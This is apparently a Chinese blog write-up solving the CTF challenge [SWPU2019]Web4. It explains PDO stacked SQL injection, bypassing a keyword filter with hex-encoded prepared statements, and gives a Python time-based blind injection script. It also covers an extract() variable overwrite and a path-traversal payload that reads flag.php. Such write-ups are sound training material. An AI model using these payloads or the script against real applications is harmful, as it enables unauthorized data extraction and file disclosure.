刷题笔记:[SWPU2019]Web4


前言

关键字:[PDO|PDOSQL注入]

题解

/static/js/login.js

怪,随手一试就登录成功了

单引号,报语法错误,

再加上分号又正常,所以可以尝试堆叠注入.

PDO注入

类似ORM框架吧。

PHP数据对象(PDO)扩展为PHP访问数据库定义了一个轻量级的一致接口
PHP连接MySQL数据库的方式:MySQL、Mysqli、PDO

PDO场景下的SQL注入探究

Mysqli通过multi_query()函数来进行多语句执行,普通的mysqli_query()函数只执行单个语句

PDO默认支持多语句查询,如果php版本小于5.5.21或者创建PDO实例时未设置PDO::MYSQL_ATTR_MULTI_STATEMENTSfalse时可能会造成堆叠注入,设置$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);情况下可以报错注入

由于过滤了select,if,sleep,substr等大多数注入常见的单词,但是注入又不得不使用其中的某些单词。那么在这里我们就可以用16进制+mysql预处理来绕过。

select hex('select 123'); //73656C65637420313233
set @a=0x73656C65637420313233;
prepare test from @a;
execute test;

那思路就很明显了,利用堆叠注入+盲注

select hex('select sleep(10)');set @a=0x73656C65637420736C65657028313029;prepare test from @a;execute test;

一般到;就结束了,后面也不需要用注释符,而且如果用了多行注释#可能会导致后面的语法执行错误。

脚本

import requests
import json
import time


def main():
    url = '''http://a399ab47-58e4-4820-a59f-6c7a7efd6bb7.node4.buuoj.cn:81/index.php?r=Login/Login'''
    payloads = "asd';set @a=0x{0};prepare ctftest from @a;execute ctftest;"
    flag = ''
    for i in range(1, 30):
        # 查询payload
        payload = "select if(ascii(substr((select flag from flag),{0},1))={1},sleep(3),1)"
        for j in range(0, 128):
            # 将构造好的payload进行16进制转码和json转码
            datas = {'username': payloads.format(str_to_hex(
                payload.format(i, j))), 'password': 'test213'}
            data = json.dumps(datas)
            times = time.time()
            try:
                res = requests.post(url=url, data=data, timeout=3)
            except requests.exceptions.Timeout:
                flag = flag + chr(j)
                print(flag)
                break


def str_to_hex(s):
    return ''.join([hex(ord(c)).replace('0x', '') for c in s])


if __name__ == '__main__':
    main()

多试几次,跑出来是glzjin_wants_a_girl_friend.zip

下载下来,MVC框架.

url大致的解析流程

从r参数中获取要访问的Controller以及Action,然后以/分隔开后拼接成完整的控制器名。以Login/Index为例,就是将Login/Index分隔开分别拼接成LoginController以及actionIndex,然后调用LoginController这个类中的actionIndex方法。每个action里面会调用对应的loadView()方法进行模版渲染,然后将页面返回给客户端。若访问的Controller不存在则默认解析Login/Index。

在BaseController.php中,明显这里可以利用extract()进行变量覆盖,于是接下来就要找$viewData在哪可以控制。

明显,在UserController.php中,$viewData是可控的。

所以按照url解析流程,

index.php?r=User/Index

但是直接包含flag.php,还是读取不了里面内容,所以得找其他办法

在这,正好有转化base64输出的代码可以利用。

payload

img_file=/../flag.php

解码一下,结束

PD9waHAKICAgIGVjaG8gImZsYWcgaXMgaGVyZSxidXQgeW91IG11c3QgdHJ5IHRvIHNlZSBpdC4i
OwogICAgJGZsYWcgPSAiZmxhZ3s4MzM0OTMxNS1mNDE3LTRkYTMtOTQ0OS0zM2ZhZjZhNzdmN2V9
IjsK

在这发现个奇怪的事

chrome里的hackbar似乎对带有换行的base64解码处理不太好


文章作者: 巡璃
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 巡璃 !
评论
  目录